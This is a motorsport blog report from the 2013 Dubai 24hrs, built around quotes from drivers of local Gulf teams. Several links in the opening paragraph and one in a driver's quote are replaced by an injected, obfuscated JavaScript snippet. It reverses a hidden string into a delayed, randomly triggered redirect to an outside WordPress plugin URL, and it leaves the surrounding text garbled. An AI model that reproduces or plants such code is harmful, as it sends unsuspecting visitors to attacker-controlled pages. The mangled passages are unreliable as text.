Daylight has broken at the Dubai Autodrome, and while the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/dubai-24hrs/” target=”_blank”>eighth Dubai 24hrs has already claimed a number of casualities – $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dubai-24hrs-the-start-divebomb/” target=”_blank”>early leaders Attempto Racing, newboys $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/ram-racing-european-le-mans-series-entering-the-bear-pit/” target=”_blank”>RAM Racing, and UAE local boys Dragon Racing to name but a few – the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/red-bull-tv/” target=”_blank”>Red Bull is still being swigged as the remaining competitors aim for the chequered flag.
crankandpiston is still on-hand too, and went to see how the local teams are enjoying their home race. Some more than others it turns out.
Khaled Al Qubaisi
Team Abu Dhabi by Black Falcons – #1 Mercedes SLS AMG GT3 (currently: 1st, 1st in A6 Class)
“It’s going well. We’re leading by a good margin, but it’s a little tricky. The Ferraris might be able to finish the race with one pit stop, while we still need to do two. If that happens, it will be very close!
“It could have been a lot better. Our #2 car was running in second or third, but we had a puncture and there was a lot of damage that cost them. In the dark you just can’t see the pick-up, and when that gets on the tyres the grip goes away. In the daytime you can see it but the degradation is higher because of the temperatures.
“The race still isn’t in the bag yet. We still have to push!”
Faisal Binladen
Saudi Falcons Team Schubert – #12 BMW Z4 (DNF)
“Game over! Game over early. But this is racing, and this is why we come back every year.
“Both cars were on-pace, and faster than we expected. We wanted that to stay the same, but unfortunately that wasn’t the case. There’s been a lot of small things that we needed to fix here and there. We had issues that weren’t really issues but they popped up during the race. Normally you’d never think of these things but at least now we know.
“We’ll be back next year, hopefully with more cars in the team, and we’ll be pushing once again for the win!”
Martin Baerschmidt
Gulf Racing Middle East – #140 Aston Martin Vantage V8 (currently 50th, 10th in SP3 Class)
“I’ve had an hour’s sleep so that was probably my favourite part of the night! We’ve had less accidents in the last six or seven hours(!), and have been climbing along okay.
“The car’s not too bad. Gear shifting-wise, we’re just trying to preserve the clutch issues we had earlier, and probably what we’ve had since $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/gulf-12hrs-dec-2012-two-hours-left-with-the-local-boys/” target=”_blank”>the Gulf 12hrs a month ago. Now we’re driving around the problem and doing 2m 17/2m 18s laptimes: qualifying times!
“We’ve had a couple of problems. We had a set of Dunlop rears on front rims, so John [Iossifidis] scraped the hell out of those during his stint! But we’re not nursing the car. Pace is slow but the car is driveable.
“Honestly, it’s pretty good fun!”
